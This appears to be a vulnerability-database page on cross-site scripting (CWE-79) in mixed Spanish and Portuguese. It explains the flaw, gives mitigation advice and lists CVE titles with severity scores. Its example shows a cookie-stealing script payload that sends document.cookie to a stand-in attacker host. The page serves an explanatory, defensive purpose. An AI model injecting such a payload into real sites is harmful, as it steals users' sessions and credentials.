Fallos del tipo CWE-79

29.617 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-9898MEDIUMParallax Image <= 1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via dd-parallax ShortcodeEPSS 0.4%CVE-2023-31806MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload toEPSS 0.4%CVE-2026-40262HIGHNote Mark has Stored XSS via Unrestricted Asset UploadEPSS 0.4%CVE-2024-9206MEDIUMMAS Companies For WP Job Manager <= 1.0.13 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-9350MEDIUMDPD Baltic Shipping <= 1.2.83 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-22624MEDIUMFooGallery – Responsive Photo Gallery, Image Viewer, Justified, Masonry and Carousel 2.4.29 - Reflected cross-site scripting (XSS)EPSS 0.4%CVE-2026-45115HIGHMyBB: Buddy/ignore list username XSSEPSS 0.4%CVE-2026-75933HIGHJet Admin Stored XSSEPSS 0.4%CVE-2024-12024HIGHEventPrime – Events Calendar, Bookings and Tickets <= 4.0.7.3 - Unauthenticated Stored Cross-Site Scripting via Ticket Category and Ticket Type NameEPSS 0.4%CVE-2026-95657MEDIUMdgtlmoon Changedetection.io Visual Selector visual-selector.js setCurrentSelectedText cross site scriptingEPSS 0.4%CVE-2023-35882MEDIUMWordPress Super Socializer Plugin <= 7.13.52 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-12089HIGHStored Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.4%CVE-2023-47813MEDIUMWordPress Better RSS Widget Plugin <= 2.8.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-37679MEDIUMCross Site Scripting vulnerability in Hangzhou Meisoft Information Technology Co., Ltd. Finesoft v.8.0 and before allows a remote attacker tEPSS 0.4%CVE-2023-44390MEDIUMHtmlSanitizer vulnerable to Cross-site Scripting in Foreign ContentEPSS 0.4%CVE-2026-25529HIGHPostal has HTML injection / XSS in message viewEPSS 0.4%CVE-2022-41432MEDIUMEyesOfNetwork Web Interface v5.3 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /module/reEPSS 0.4%CVE-2024-7134HIGHLiquidPoll <= 3.3.78 - Unauthenticated Stored Cross-Site Scripting via form_data ParameterEPSS 0.4%CVE-2024-9024MEDIUMMaterial Design Icons <= 0.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via mdi-icon ShortcodeEPSS 0.4%CVE-2020-3420MEDIUMCisco Unified Communications Manager Stored Cross-Site Scripting VulnerabilityEPSS 0.4%